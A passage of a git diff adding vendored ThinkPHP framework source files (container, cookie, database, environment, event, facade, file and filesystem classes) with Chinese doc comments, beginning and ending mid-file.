+ if (is_null(static::$instance)) { + static::$instance = new static; + } + + if (static::$instance instanceof Closure) { + return (static::$instance)(); + } + + return static::$instance; + } + + /** + * 设置当前容器的实例 + * @access public + * @param object|Closure $instance + * @return void + */ + public static function setInstance($instance): void + { + static::$instance = $instance; + } + + /** + * 注册一个容器对象回调 + * + * @param string|Closure $abstract + * @param Closure|null $callback + * @return void + */ + public function resolving($abstract, Closure $callback = null): void + { + if ($abstract instanceof Closure) { + $this->invokeCallback['*'][] = $abstract; + return; + } + + $abstract = $this->getAlias($abstract); + + $this->invokeCallback[$abstract][] = $callback; + } + + /** + * 获取容器中的对象实例 不存在则创建 + * @access public + * @param string $abstract 类名或者标识 + * @param array|true $vars 变量 + * @param bool $newInstance 是否每次创建新的实例 + * @return object + */ + public static function pull(string $abstract, array $vars = [], bool $newInstance = false) + { + return static::getInstance()->make($abstract, $vars, $newInstance); + } + + /** + * 获取容器中的对象实例 + * @access public + * @param string $abstract 类名或者标识 + * @return object + */ + public function get($abstract) + { + if ($this->has($abstract)) { + return $this->make($abstract); + } + + throw new ClassNotFoundException('class not exists: ' . $abstract, $abstract); + } + + /** + * 绑定一个类、闭包、实例、接口实现到容器 + * @access public + * @param string|array $abstract 类标识、接口 + * @param mixed $concrete 要绑定的类、闭包或者实例 + * @return $this + */ + public function bind($abstract, $concrete = null) + { + if (is_array($abstract)) { + foreach ($abstract as $key => $val) { + $this->bind($key, $val); + } + } elseif ($concrete instanceof Closure) { + $this->bind[$abstract] = $concrete; + } elseif (is_object($concrete)) { + $this->instance($abstract, $concrete); + } else { + $abstract = $this->getAlias($abstract); + if ($abstract != $concrete) { + $this->bind[$abstract] = $concrete; + } + } + + return $this; + } + + /** + * 根据别名获取真实类名 + * @param string $abstract + * @return string + */ + public function getAlias(string $abstract): string + { + if (isset($this->bind[$abstract])) { + $bind = $this->bind[$abstract]; + + if (is_string($bind)) { + return $this->getAlias($bind); + } + } + + return $abstract; + } + + /** + * 绑定一个类实例到容器 + * @access public + * @param string $abstract 类名或者标识 + * @param object $instance 类的实例 + * @return $this + */ + public function instance(string $abstract, $instance) + { + $abstract = $this->getAlias($abstract); + + $this->instances[$abstract] = $instance; + + return $this; + } + + /** + * 判断容器中是否存在类及标识 + * @access public + * @param string $abstract 类名或者标识 + * @return bool + */ + public function bound(string $abstract): bool + { + return isset($this->bind[$abstract]) || isset($this->instances[$abstract]); + } + + /** + * 判断容器中是否存在类及标识 + * @access public + * @param string $name 类名或者标识 + * @return bool + */ + public function has($name): bool + { + return $this->bound($name); + } + + /** + * 判断容器中是否存在对象实例 + * @access public + * @param string $abstract 类名或者标识 + * @return bool + */ + public function exists(string $abstract): bool + { + $abstract = $this->getAlias($abstract); + + return isset($this->instances[$abstract]); + } + + /** + * 创建类的实例 已经存在则直接获取 + * @access public + * @param string $abstract 类名或者标识 + * @param array $vars 变量 + * @param bool $newInstance 是否每次创建新的实例 + * @return mixed + */ + public function make(string $abstract, array $vars = [], bool $newInstance = false) + { + $abstract = $this->getAlias($abstract); + + if (isset($this->instances[$abstract]) && !$newInstance) { + return $this->instances[$abstract]; + } + + if (isset($this->bind[$abstract]) && $this->bind[$abstract] instanceof Closure) { + $object = $this->invokeFunction($this->bind[$abstract], $vars); + } else { + $object = $this->invokeClass($abstract, $vars); + } + + if (!$newInstance) { + $this->instances[$abstract] = $object; + } + + return $object; + } + + /** + * 删除容器中的对象实例 + * @access public + * @param string $name 类名或者标识 + * @return void + */ + public function delete($name) + { + $name = $this->getAlias($name); + + if (isset($this->instances[$name])) { + unset($this->instances[$name]); + } + } + + /** + * 执行函数或者闭包方法 支持参数调用 + * @access public + * @param string|Closure $function 函数或者闭包 + * @param array $vars 参数 + * @return mixed + */ + public function invokeFunction($function, array $vars = []) + { + try { + $reflect = new ReflectionFunction($function); + } catch (ReflectionException $e) { + throw new FuncNotFoundException("function not exists: {$function}()", $function, $e); + } + + $args = $this->bindParams($reflect, $vars); + + return $function(...$args); + } + + /** + * 调用反射执行类的方法 支持参数绑定 + * @access public + * @param mixed $method 方法 + * @param array $vars 参数 + * @param bool $accessible 设置是否可访问 + * @return mixed + */ + public function invokeMethod($method, array $vars = [], bool $accessible = false) + { + if (is_array($method)) { + [$class, $method] = $method; + + $class = is_object($class) ? $class : $this->invokeClass($class); + } else { + // 静态方法 + [$class, $method] = explode('::', $method); + } + + try { + $reflect = new ReflectionMethod($class, $method); + } catch (ReflectionException $e) { + $class = is_object($class) ? get_class($class) : $class; + throw new FuncNotFoundException('method not exists: ' . $class . '::' . $method . '()', "{$class}::{$method}", $e); + } + + $args = $this->bindParams($reflect, $vars); + + if ($accessible) { + $reflect->setAccessible($accessible); + } + + return $reflect->invokeArgs(is_object($class) ? $class : null, $args); + } + + /** + * 调用反射执行类的方法 支持参数绑定 + * @access public + * @param object $instance 对象实例 + * @param mixed $reflect 反射类 + * @param array $vars 参数 + * @return mixed + */ + public function invokeReflectMethod($instance, $reflect, array $vars = []) + { + $args = $this->bindParams($reflect, $vars); + + return $reflect->invokeArgs($instance, $args); + } + + /** + * 调用反射执行callable 支持参数绑定 + * @access public + * @param mixed $callable + * @param array $vars 参数 + * @param bool $accessible 设置是否可访问 + * @return mixed + */ + public function invoke($callable, array $vars = [], bool $accessible = false) + { + if ($callable instanceof Closure) { + return $this->invokeFunction($callable, $vars); + } elseif (is_string($callable) && false === strpos($callable, '::')) { + return $this->invokeFunction($callable, $vars); + } else { + return $this->invokeMethod($callable, $vars, $accessible); + } + } + + /** + * 调用反射执行类的实例化 支持依赖注入 + * @access public + * @param string $class 类名 + * @param array $vars 参数 + * @return mixed + */ + public function invokeClass(string $class, array $vars = []) + { + try { + $reflect = new ReflectionClass($class); + } catch (ReflectionException $e) { + throw new ClassNotFoundException('class not exists: ' . $class, $class, $e); + } + + if ($reflect->hasMethod('__make')) { + $method = $reflect->getMethod('__make'); + if ($method->isPublic() && $method->isStatic()) { + $args = $this->bindParams($method, $vars); + return $method->invokeArgs(null, $args); + } + } + + $constructor = $reflect->getConstructor(); + + $args = $constructor ? $this->bindParams($constructor, $vars) : []; + + $object = $reflect->newInstanceArgs($args); + + $this->invokeAfter($class, $object); + + return $object; + } + + /** + * 执行invokeClass回调 + * @access protected + * @param string $class 对象类名 + * @param object $object 容器对象实例 + * @return void + */ + protected function invokeAfter(string $class, $object): void + { + if (isset($this->invokeCallback['*'])) { + foreach ($this->invokeCallback['*'] as $callback) { + $callback($object, $this); + } + } + + if (isset($this->invokeCallback[$class])) { + foreach ($this->invokeCallback[$class] as $callback) { + $callback($object, $this); + } + } + } + + /** + * 绑定参数 + * @access protected + * @param ReflectionFunctionAbstract $reflect 反射类 + * @param array $vars 参数 + * @return array + */ + protected function bindParams(ReflectionFunctionAbstract $reflect, array $vars = []): array + { + if ($reflect->getNumberOfParameters() == 0) { + return []; + } + + // 判断数组类型 数字数组时按顺序绑定参数 + reset($vars); + $type = key($vars) === 0 ? 1 : 0; + $params = $reflect->getParameters(); + $args = []; + + foreach ($params as $param) { + $name = $param->getName(); + $lowerName = Str::snake($name); + $class = $param->getClass(); + + if ($class) { + $args[] = $this->getObjectParam($class->getName(), $vars); + } elseif (1 == $type && !empty($vars)) { + $args[] = array_shift($vars); + } elseif (0 == $type && array_key_exists($name, $vars)) { + $args[] = $vars[$name]; + } elseif (0 == $type && array_key_exists($lowerName, $vars)) { + $args[] = $vars[$lowerName]; + } elseif ($param->isDefaultValueAvailable()) { + $args[] = $param->getDefaultValue(); + } else { + throw new InvalidArgumentException('method param miss:' . $name); + } + } + + return $args; + } + + /** + * 创建工厂对象实例 + * @param string $name 工厂类名 + * @param string $namespace 默认命名空间 + * @param array $args + * @return mixed + * @deprecated + * @access public + */ + public static function factory(string $name, string $namespace = '', ...$args) + { + $class = false !== strpos($name, '\\') ? $name : $namespace . ucwords($name); + + return Container::getInstance()->invokeClass($class, $args); + } + + /** + * 获取对象类型的参数值 + * @access protected + * @param string $className 类名 + * @param array $vars 参数 + * @return mixed + */ + protected function getObjectParam(string $className, array &$vars) + { + $array = $vars; + $value = array_shift($array); + + if ($value instanceof $className) { + $result = $value; + array_shift($vars); + } else { + $result = $this->make($className); + } + + return $result; + } + + public function __set($name, $value) + { + $this->bind($name, $value); + } + + public function __get($name) + { + return $this->get($name); + } + + public function __isset($name): bool + { + return $this->exists($name); + } + + public function __unset($name) + { + $this->delete($name); + } + + public function offsetExists($key) + { + return $this->exists($key); + } + + public function offsetGet($key) + { + return $this->make($key); + } + + public function offsetSet($key, $value) + { + $this->bind($key, $value); + } + + public function offsetUnset($key) + { + $this->delete($key); + } + + //Countable + public function count() + { + return count($this->instances); + } + + //IteratorAggregate + public function getIterator() + { + return new ArrayIterator($this->instances); + } +} diff --git a/vendor/topthink/framework/src/think/Cookie.php b/vendor/topthink/framework/src/think/Cookie.php new file mode 100644 index 0000000..6eb85b6 --- /dev/null +++ b/vendor/topthink/framework/src/think/Cookie.php @@ -0,0 +1,230 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use DateTimeInterface; + +/** + * Cookie管理类 + * @package think + */ +class Cookie +{ + /** + * 配置参数 + * @var array + */ + protected $config = [ + // cookie 保存时间 + 'expire' => 0, + // cookie 保存路径 + 'path' => '/', + // cookie 有效域名 + 'domain' => '', + // cookie 启用安全传输 + 'secure' => false, + // httponly设置 + 'httponly' => false, + // samesite 设置,支持 'strict' 'lax' + 'samesite' => '', + ]; + + /** + * Cookie写入数据 + * @var array + */ + protected $cookie = []; + + /** + * 当前Request对象 + * @var Request + */ + protected $request; + + /** + * 构造方法 + * @access public + */ + public function __construct(Request $request, array $config = []) + { + $this->request = $request; + $this->config = array_merge($this->config, array_change_key_case($config)); + } + + public static function __make(Request $request, Config $config) + { + return new static($request, $config->get('cookie')); + } + + /** + * 获取cookie + * @access public + * @param mixed $name 数据名称 + * @param string $default 默认值 + * @return mixed + */ + public function get(string $name = '', $default = null) + { + return $this->request->cookie($name, $default); + } + + /** + * 是否存在Cookie参数 + * @access public + * @param string $name 变量名 + * @return bool + */ + public function has(string $name): bool + { + return $this->request->has($name, 'cookie'); + } + + /** + * Cookie 设置 + * + * @access public + * @param string $name cookie名称 + * @param string $value cookie值 + * @param mixed $option 可选参数 + * @return void + */ + public function set(string $name, string $value, $option = null): void + { + // 参数设置(会覆盖黙认设置) + if (!is_null($option)) { + if (is_numeric($option) || $option instanceof DateTimeInterface) { + $option = ['expire' => $option]; + } + + $config = array_merge($this->config, array_change_key_case($option)); + } else { + $config = $this->config; + } + + if ($config['expire'] instanceof DateTimeInterface) { + $expire = $config['expire']->getTimestamp(); + } else { + $expire = !empty($config['expire']) ? time() + intval($config['expire']) : 0; + } + + $this->setCookie($name, $value, $expire, $config); + } + + /** + * Cookie 保存 + * + * @access public + * @param string $name cookie名称 + * @param string $value cookie值 + * @param int $expire 有效期 + * @param array $option 可选参数 + * @return void + */ + protected function setCookie(string $name, string $value, int $expire, array $option = []): void + { + $this->cookie[$name] = [$value, $expire, $option]; + } + + /** + * 永久保存Cookie数据 + * @access public + * @param string $name cookie名称 + * @param string $value cookie值 + * @param mixed $option 可选参数 可能会是 null|integer|string + * @return void + */ + public function forever(string $name, string $value = '', $option = null): void + { + if (is_null($option) || is_numeric($option)) { + $option = []; + } + + $option['expire'] = 315360000; + + $this->set($name, $value, $option); + } + + /** + * Cookie删除 + * @access public + * @param string $name cookie名称 + * @return void + */ + public function delete(string $name): void + { + $this->setCookie($name, '', time() - 3600, $this->config); + } + + /** + * 获取cookie保存数据 + * @access public + * @return array + */ + public function getCookie(): array + { + return $this->cookie; + } + + /** + * 保存Cookie + * @access public + * @return void + */ + public function save(): void + { + foreach ($this->cookie as $name => $val) { + [$value, $expire, $option] = $val; + + $this->saveCookie( + $name, + $value, + $expire, + $option['path'], + $option['domain'], + $option['secure'] ? true : false, + $option['httponly'] ? true : false, + $option['samesite'] + ); + } + } + + /** + * 保存Cookie + * @access public + * @param string $name cookie名称 + * @param string $value cookie值 + * @param int $expire cookie过期时间 + * @param string $path 有效的服务器路径 + * @param string $domain 有效域名/子域名 + * @param bool $secure 是否仅仅通过HTTPS + * @param bool $httponly 仅可通过HTTP访问 + * @param string $samesite 防止CSRF攻击和用户追踪 + * @return void + */ + protected function saveCookie(string $name, string $value, int $expire, string $path, string $domain, bool $secure, bool $httponly, string $samesite): void + { + if (version_compare(PHP_VERSION, '7.3.0', '>=')) { + setcookie($name, $value, [ + 'expires' => $expire, + 'path' => $path, + 'domain' => $domain, + 'secure' => $secure, + 'httponly' => $httponly, + 'samesite' => $samesite, + ]); + } else { + setcookie($name, $value, $expire, $path, $domain, $secure, $httponly); + } + } + +} diff --git a/vendor/topthink/framework/src/think/Db.php b/vendor/topthink/framework/src/think/Db.php new file mode 100644 index 0000000..fac8d07 --- /dev/null +++ b/vendor/topthink/framework/src/think/Db.php @@ -0,0 +1,117 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +/** + * 数据库管理类 + * @package think + * @property Config $config + */ +class Db extends DbManager +{ + /** + * @param Event $event + * @param Config $config + * @param Log $log + * @param Cache $cache + * @return Db + * @codeCoverageIgnore + */ + public static function __make(Event $event, Config $config, Log $log, Cache $cache) + { + $db = new static(); + $db->setConfig($config); + $db->setEvent($event); + $db->setLog($log); + + $store = $db->getConfig('cache_store'); + $db->setCache($cache->store($store)); + $db->triggerSql(); + + return $db; + } + + /** + * 注入模型对象 + * @access public + * @return void + */ + protected function modelMaker() + { + } + + /** + * 设置配置对象 + * @access public + * @param Config $config 配置对象 + * @return void + */ + public function setConfig($config): void + { + $this->config = $config; + } + + /** + * 获取配置参数 + * @access public + * @param string $name 配置参数 + * @param mixed $default 默认值 + * @return mixed + */ + public function getConfig(string $name = '', $default = null) + { + if ('' !== $name) { + return $this->config->get('database.' . $name, $default); + } + + return $this->config->get('database', []); + } + + /** + * 设置Event对象 + * @param Event $event + */ + public function setEvent(Event $event): void + { + $this->event = $event; + } + + /** + * 注册回调方法 + * @access public + * @param string $event 事件名 + * @param callable $callback 回调方法 + * @return void + */ + public function event(string $event, callable $callback): void + { + if ($this->event) { + $this->event->listen('db.' . $event, $callback); + } + } + + /** + * 触发事件 + * @access public + * @param string $event 事件名 + * @param mixed $params 传入参数 + * @param bool $once + * @return mixed + */ + public function trigger(string $event, $params = null, bool $once = false) + { + if ($this->event) { + return $this->event->trigger('db.' . $event, $params, $once); + } + } +} diff --git a/vendor/topthink/framework/src/think/Env.php b/vendor/topthink/framework/src/think/Env.php new file mode 100644 index 0000000..05228aa --- /dev/null +++ b/vendor/topthink/framework/src/think/Env.php @@ -0,0 +1,181 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ArrayAccess; + +/** + * Env管理类 + * @package think + */ +class Env implements ArrayAccess +{ + /** + * 环境变量数据 + * @var array + */ + protected $data = []; + + public function __construct() + { + $this->data = $_ENV; + } + + /** + * 读取环境变量定义文件 + * @access public + * @param string $file 环境变量定义文件 + * @return void + */ + public function load(string $file): void + { + $env = parse_ini_file($file, true) ?: []; + $this->set($env); + } + + /** + * 获取环境变量值 + * @access public + * @param string $name 环境变量名 + * @param mixed $default 默认值 + * @return mixed + */ + public function get(string $name = null, $default = null) + { + if (is_null($name)) { + return $this->data; + } + + $name = strtoupper(str_replace('.', '_', $name)); + + if (isset($this->data[$name])) { + return $this->data[$name]; + } + + return $this->getEnv($name, $default); + } + + protected function getEnv(string $name, $default = null) + { + $result = getenv('PHP_' . $name); + + if (false === $result) { + return $default; + } + + if ('false' === $result) { + $result = false; + } elseif ('true' === $result) { + $result = true; + } + + if (!isset($this->data[$name])) { + $this->data[$name] = $result; + } + + return $result; + } + + /** + * 设置环境变量值 + * @access public + * @param string|array $env 环境变量 + * @param mixed $value 值 + * @return void + */ + public function set($env, $value = null): void + { + if (is_array($env)) { + $env = array_change_key_case($env, CASE_UPPER); + + foreach ($env as $key => $val) { + if (is_array($val)) { + foreach ($val as $k => $v) { + $this->data[$key . '_' . strtoupper($k)] = $v; + } + } else { + $this->data[$key] = $val; + } + } + } else { + $name = strtoupper(str_replace('.', '_', $env)); + + $this->data[$name] = $value; + } + } + + /** + * 检测是否存在环境变量 + * @access public + * @param string $name 参数名 + * @return bool + */ + public function has(string $name): bool + { + return !is_null($this->get($name)); + } + + /** + * 设置环境变量 + * @access public + * @param string $name 参数名 + * @param mixed $value 值 + */ + public function __set(string $name, $value): void + { + $this->set($name, $value); + } + + /** + * 获取环境变量 + * @access public + * @param string $name 参数名 + * @return mixed + */ + public function __get(string $name) + { + return $this->get($name); + } + + /** + * 检测是否存在环境变量 + * @access public + * @param string $name 参数名 + * @return bool + */ + public function __isset(string $name): bool + { + return $this->has($name); + } + + // ArrayAccess + public function offsetSet($name, $value): void + { + $this->set($name, $value); + } + + public function offsetExists($name): bool + { + return $this->__isset($name); + } + + public function offsetUnset($name) + { + throw new Exception('not support: unset'); + } + + public function offsetGet($name) + { + return $this->get($name); + } +} diff --git a/vendor/topthink/framework/src/think/Event.php b/vendor/topthink/framework/src/think/Event.php new file mode 100644 index 0000000..edef54c --- /dev/null +++ b/vendor/topthink/framework/src/think/Event.php @@ -0,0 +1,263 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use ReflectionClass; +use ReflectionMethod; + +/** + * 事件管理类 + * @package think + */ +class Event +{ + /** + * 监听者 + * @var array + */ + protected $listener = []; + + /** + * 事件别名 + * @var array + */ + protected $bind = [ + 'AppInit' => event\AppInit::class, + 'HttpRun' => event\HttpRun::class, + 'HttpEnd' => event\HttpEnd::class, + 'RouteLoaded' => event\RouteLoaded::class, + 'LogWrite' => event\LogWrite::class, + ]; + + /** + * 应用对象 + * @var App + */ + protected $app; + + public function __construct(App $app) + { + $this->app = $app; + } + + /** + * 批量注册事件监听 + * @access public + * @param array $events 事件定义 + * @return $this + */ + public function listenEvents(array $events) + { + foreach ($events as $event => $listeners) { + if (isset($this->bind[$event])) { + $event = $this->bind[$event]; + } + + $this->listener[$event] = array_merge($this->listener[$event] ?? [], $listeners); + } + + return $this; + } + + /** + * 注册事件监听 + * @access public + * @param string $event 事件名称 + * @param mixed $listener 监听操作(或者类名) + * @param bool $first 是否优先执行 + * @return $this + */ + public function listen(string $event, $listener, bool $first = false) + { + if (isset($this->bind[$event])) { + $event = $this->bind[$event]; + } + + if ($first && isset($this->listener[$event])) { + array_unshift($this->listener[$event], $listener); + } else { + $this->listener[$event][] = $listener; + } + + return $this; + } + + /** + * 是否存在事件监听 + * @access public + * @param string $event 事件名称 + * @return bool + */ + public function hasListener(string $event): bool + { + if (isset($this->bind[$event])) { + $event = $this->bind[$event]; + } + + return isset($this->listener[$event]); + } + + /** + * 移除事件监听 + * @access public + * @param string $event 事件名称 + * @return void + */ + public function remove(string $event): void + { + if (isset($this->bind[$event])) { + $event = $this->bind[$event]; + } + + unset($this->listener[$event]); + } + + /** + * 指定事件别名标识 便于调用 + * @access public + * @param array $events 事件别名 + * @return $this + */ + public function bind(array $events) + { + $this->bind = array_merge($this->bind, $events); + + return $this; + } + + /** + * 注册事件订阅者 + * @access public + * @param mixed $subscriber 订阅者 + * @return $this + */ + public function subscribe($subscriber) + { + $subscribers = (array) $subscriber; + + foreach ($subscribers as $subscriber) { + if (is_string($subscriber)) { + $subscriber = $this->app->make($subscriber); + } + + if (method_exists($subscriber, 'subscribe')) { + // 手动订阅 + $subscriber->subscribe($this); + } else { + // 智能订阅 + $this->observe($subscriber); + } + } + + return $this; + } + + /** + * 自动注册事件观察者 + * @access public + * @param string|object $observer 观察者 + * @param null|string $prefix 事件名前缀 + * @return $this + */ + public function observe($observer, string $prefix = '') + { + if (is_string($observer)) { + $observer = $this->app->make($observer); + } + + $reflect = new ReflectionClass($observer); + $methods = $reflect->getMethods(ReflectionMethod::IS_PUBLIC); + + if (empty($prefix) && $reflect->hasProperty('eventPrefix')) { + $reflectProperty = $reflect->getProperty('eventPrefix'); + $reflectProperty->setAccessible(true); + $prefix = $reflectProperty->getValue($observer); + } + + foreach ($methods as $method) { + $name = $method->getName(); + if (0 === strpos($name, 'on')) { + $this->listen($prefix . substr($name, 2), [$observer, $name]); + } + } + + return $this; + } + + /** + * 触发事件 + * @access public + * @param string|object $event 事件名称 + * @param mixed $params 传入参数 + * @param bool $once 只获取一个有效返回值 + * @return mixed + */ + public function trigger($event, $params = null, bool $once = false) + { + if (is_object($event)) { + $params = $event; + $event = get_class($event); + } + + if (isset($this->bind[$event])) { + $event = $this->bind[$event]; + } + + $result = []; + $listeners = $this->listener[$event] ?? []; + $listeners = array_unique($listeners, SORT_REGULAR); + + foreach ($listeners as $key => $listener) { + $result[$key] = $this->dispatch($listener, $params); + + if (false === $result[$key] || (!is_null($result[$key]) && $once)) { + break; + } + } + + return $once ? end($result) : $result; + } + + /** + * 触发事件(只获取一个有效返回值) + * @param $event + * @param null $params + * @return mixed + */ + public function until($event, $params = null) + { + return $this->trigger($event, $params, true); + } + + /** + * 执行事件调度 + * @access protected + * @param mixed $event 事件方法 + * @param mixed $params 参数 + * @return mixed + */ + protected function dispatch($event, $params = null) + { + if (!is_string($event)) { + $call = $event; + } elseif (strpos($event, '::')) { + $call = $event; + } else { + $obj = $this->app->make($event); + $call = [$obj, 'handle']; + } + + return $this->app->invoke($call, [$params]); + } + +} diff --git a/vendor/topthink/framework/src/think/Exception.php b/vendor/topthink/framework/src/think/Exception.php new file mode 100644 index 0000000..468e29d --- /dev/null +++ b/vendor/topthink/framework/src/think/Exception.php @@ -0,0 +1,60 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +/** + * 异常基础类 + * @package think + */ +class Exception extends \Exception +{ + /** + * 保存异常页面显示的额外Debug数据 + * @var array + */ + protected $data = []; + + /** + * 设置异常额外的Debug数据 + * 数据将会显示为下面的格式 + * + * Exception Data + * -------------------------------------------------- + * Label 1 + * key1 value1 + * key2 value2 + * Label 2 + * key1 value1 + * key2 value2 + * + * @access protected + * @param string $label 数据分类,用于异常页面显示 + * @param array $data 需要显示的数据,必须为关联数组 + */ + final protected function setData(string $label, array $data) + { + $this->data[$label] = $data; + } + + /** + * 获取异常额外Debug数据 + * 主要用于输出到异常页面便于调试 + * @access public + * @return array 由setData设置的Debug数据 + */ + final public function getData() + { + return $this->data; + } + +} diff --git a/vendor/topthink/framework/src/think/Facade.php b/vendor/topthink/framework/src/think/Facade.php new file mode 100644 index 0000000..7921298 --- /dev/null +++ b/vendor/topthink/framework/src/think/Facade.php @@ -0,0 +1,98 @@ + +// +---------------------------------------------------------------------- +namespace think; + +/** + * Facade管理类 + */ +class Facade +{ + /** + * 始终创建新的对象实例 + * @var bool + */ + protected static $alwaysNewInstance; + + /** + * 创建Facade实例 + * @static + * @access protected + * @param string $class 类名或标识 + * @param array $args 变量 + * @param bool $newInstance 是否每次创建新的实例 + * @return object + */ + protected static function createFacade(string $class = '', array $args = [], bool $newInstance = false) + { + $class = $class ?: static::class; + + $facadeClass = static::getFacadeClass(); + + if ($facadeClass) { + $class = $facadeClass; + } + + if (static::$alwaysNewInstance) { + $newInstance = true; + } + + return Container::getInstance()->make($class, $args, $newInstance); + } + + /** + * 获取当前Facade对应类名 + * @access protected + * @return string + */ + protected static function getFacadeClass() + {} + + /** + * 带参数实例化当前Facade类 + * @access public + * @return object + */ + public static function instance(...$args) + { + if (__CLASS__ != static::class) { + return self::createFacade('', $args); + } + } + + /** + * 调用类的实例 + * @access public + * @param string $class 类名或者标识 + * @param array|true $args 变量 + * @param bool $newInstance 是否每次创建新的实例 + * @return object + */ + public static function make(string $class, $args = [], $newInstance = false) + { + if (__CLASS__ != static::class) { + return self::__callStatic('make', func_get_args()); + } + + if (true === $args) { + // 总是创建新的实例化对象 + $newInstance = true; + $args = []; + } + + return self::createFacade($class, $args, $newInstance); + } + + // 调用实际类的方法 + public static function __callStatic($method, $params) + { + return call_user_func_array([static::createFacade(), $method], $params); + } +} diff --git a/vendor/topthink/framework/src/think/File.php b/vendor/topthink/framework/src/think/File.php new file mode 100644 index 0000000..77bec89 --- /dev/null +++ b/vendor/topthink/framework/src/think/File.php @@ -0,0 +1,187 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use SplFileInfo; +use think\exception\FileException; + +/** + * 文件上传类 + * @package think + */ +class File extends SplFileInfo +{ + + /** + * 文件hash规则 + * @var array + */ + protected $hash = []; + + protected $hashName; + + public function __construct(string $path, bool $checkPath = true) + { + if ($checkPath && !is_file($path)) { + throw new FileException(sprintf('The file "%s" does not exist', $path)); + } + + parent::__construct($path); + } + + /** + * 获取文件的哈希散列值 + * @access public + * @param string $type + * @return string + */ + public function hash(string $type = 'sha1'): string + { + if (!isset($this->hash[$type])) { + $this->hash[$type] = hash_file($type, $this->getPathname()); + } + + return $this->hash[$type]; + } + + /** + * 获取文件的MD5值 + * @access public + * @return string + */ + public function md5(): string + { + return $this->hash('md5'); + } + + /** + * 获取文件的SHA1值 + * @access public + * @return string + */ + public function sha1(): string + { + return $this->hash('sha1'); + } + + /** + * 获取文件类型信息 + * @access public + * @return string + */ + public function getMime(): string + { + $finfo = finfo_open(FILEINFO_MIME_TYPE); + + return finfo_file($finfo, $this->getPathname()); + } + + /** + * 移动文件 + * @access public + * @param string $directory 保存路径 + * @param string|null $name 保存的文件名 + * @return File + */ + public function move(string $directory, string $name = null): File + { + $target = $this->getTargetFile($directory, $name); + + set_error_handler(function ($type, $msg) use (&$error) { + $error = $msg; + }); + $renamed = rename($this->getPathname(), (string) $target); + restore_error_handler(); + if (!$renamed) { + throw new FileException(sprintf('Could not move the file "%s" to "%s" (%s)', $this->getPathname(), $target, strip_tags($error))); + } + + @chmod((string) $target, 0666 & ~umask()); + + return $target; + } + + /** + * 实例化一个新文件 + * @param string $directory + * @param null|string $name + * @return File + */ + protected function getTargetFile(string $directory, string $name = null): File + { + if (!is_dir($directory)) { + if (false === @mkdir($directory, 0777, true) && !is_dir($directory)) { + throw new FileException(sprintf('Unable to create the "%s" directory', $directory)); + } + } elseif (!is_writable($directory)) { + throw new FileException(sprintf('Unable to write in the "%s" directory', $directory)); + } + + $target = rtrim($directory, '/\\') . \DIRECTORY_SEPARATOR . (null === $name ? $this->getBasename() : $this->getName($name)); + + return new self($target, false); + } + + /** + * 获取文件名 + * @param string $name + * @return string + */ + protected function getName(string $name): string + { + $originalName = str_replace('\\', '/', $name); + $pos = strrpos($originalName, '/'); + $originalName = false === $pos ? $originalName : substr($originalName, $pos + 1); + + return $originalName; + } + + /** + * 文件扩展名 + * @return string + */ + public function extension(): string + { + return $this->getExtension(); + } + + /** + * 自动生成文件名 + * @access public + * @param string|\Closure $rule + * @return string + */ + public function hashName($rule = ''): string + { + if (!$this->hashName) { + if ($rule instanceof \Closure) { + $this->hashName = call_user_func_array($rule, [$this]); + } else { + switch (true) { + case in_array($rule, hash_algos()): + $hash = $this->hash($rule); + $this->hashName = substr($hash, 0, 2) . DIRECTORY_SEPARATOR . substr($hash, 2); + break; + case is_callable($rule): + $this->hashName = call_user_func($rule); + break; + default: + $this->hashName = date('Ymd') . DIRECTORY_SEPARATOR . md5((string) microtime(true)); + break; + } + } + } + + return $this->hashName . '.' . $this->extension(); + } +} diff --git a/vendor/topthink/framework/src/think/Filesystem.php b/vendor/topthink/framework/src/think/Filesystem.php new file mode 100644 index 0000000..a443f74 --- /dev/null +++ b/vendor/topthink/framework/src/think/Filesystem.php @@ -0,0 +1,89 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use InvalidArgumentException; +use think\filesystem\Driver; +use think\filesystem\driver\Local; +use think\helper\Arr; + +/** + * Class Filesystem + * @package think + * @mixin Driver + * @mixin Local + */ +class Filesystem extends Manager +{ + protected $namespace = '\\think\\filesystem\\driver\\'; + + /** + * @param null|string $name + * @return Driver + */ + public function disk(string $name = null): Driver + { + return $this->driver($name); + } + + protected function resolveType(string $name) + { + return $this->getDiskConfig($name, 'type', 'local'); + } + + protected function resolveConfig(string $name) + { + return $this->getDiskConfig($name); + } + + /** + * 获取缓存配置 + * @access public + * @param null|string $name 名称 + * @param mixed $default 默认值 + * @return mixed + */ + public function getConfig(string $name = null, $default = null) + { + if (!is_null($name)) { + return $this->app->config->get('filesystem.' . $name, $default); + } + + return $this->app->config->get('filesystem'); + } + + /** + * 获取磁盘配置 + * @param string $disk + * @param null $name + * @param null $default + * @return array + */ + public function getDiskConfig($disk, $name = null, $default = null) + { + if ($config = $this->getConfig("disks.{$disk}")) { + return Arr::get($config, $name, $default); + } + + throw new InvalidArgumentException("Disk [$disk] not found."); + } + + /** + * 默认驱动 + * @return string|null + */ + public function getDefaultDriver() + { + return $this->getConfig('default'); + } +} diff --git a/vendor/topthink/framework/src/think/Http.php b/vendor/topthink/framework/src/think/Http.php new file mode 100644 index 0000000..4bc632c --- /dev/null +++ b/vendor/topthink/framework/src/think/Http.php @@ -0,0 +1,288 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think; + +use think\event\HttpEnd; +use think\event\HttpRun; +use think\event\RouteLoaded; +use think\exception\Handle; +use Throwable; + +/** + * Web应用管理类 + * @package think + */ +class Http +{ + + /** + * @var App + */ + protected $app; + + /** + * 应用名称 + * @var string + */ + protected $name; + + /** + * 应用路径 + * @var string + */ + protected $path; + + /** + * 路由路径 + * @var string + */ + protected $routePath; + + /** + * 是否绑定应用 + * @var bool + */ + protected $isBind = false; + + public function __construct(App $app) + { + $this->app = $app; + + $this->routePath = $this->app->getRootPath() . 'route' . DIRECTORY_SEPARATOR; + } + + /** + * 设置应用名称 + * @access public + * @param string $name 应用名称 + * @return $this + */ + public function name(string $name) + { + 